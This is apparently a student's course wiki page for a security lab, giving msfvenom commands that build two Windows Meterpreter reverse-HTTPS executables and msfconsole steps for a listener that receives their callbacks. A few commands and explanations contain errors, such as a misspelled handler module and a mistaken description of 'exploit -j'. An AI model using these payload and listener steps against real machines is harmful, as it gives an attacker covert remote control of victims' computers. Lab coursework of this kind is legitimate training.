Post‐Exploitation and Local Privilege Escalation Operations (Phase 0) - sophialevasseur/SEC-335 GitHub Wiki

😱Main Doc😱

🐀RAT Development🐀

⭐Objective⭐

  • Create and explain the options used to create a RAT and set up a listener.

🌹Steps🌹

  1. Create two RATs using msfvenom’s reverse_https meterpeter module and don’t use a port below 12000.
  2. Set up one listener for the Phase 1 attack below.

📜Documentation Requirement for Phase 0📜

  • Report Section:
    • Document the exact commands used to generate the payloads and configure the listener. For each parameter set using set, provide a brief justification explaining why that specific value was selected (e.g., matching the LHOST from payload generation, selecting a high port for stealth).

⚡First we are going to create the rats⚡

  • msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.17.49 LPORT=54321 -f exe rat1.exe
  • msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.17.49 LPORT=54322 -f exe rat2.exe

⚡Now we are going to set up the listener⚡

  • msfconsole -q
    1. use exploit/multi/hadler
    2. set PAYLOAD windows/meterpreter/reverse_https
    3. set LHOST 10.0.17.49
    4. set LPORT 54321
    5. exploit -j
  • Command Explanation:
    1. The Sets up a listening server to catch incoming connections from a payload running on a target machine.
    2. Tells the Metasploit Framework to configure a listener or exploit to use a Windows Meterpreter payload that connects back to the attacker over an encrypted HTTPS connection.
    3. Sets our local host to the Kali VM.
    4. Sets our local port to the 54321.
    5. Starts the exploit on the vulnerable machine.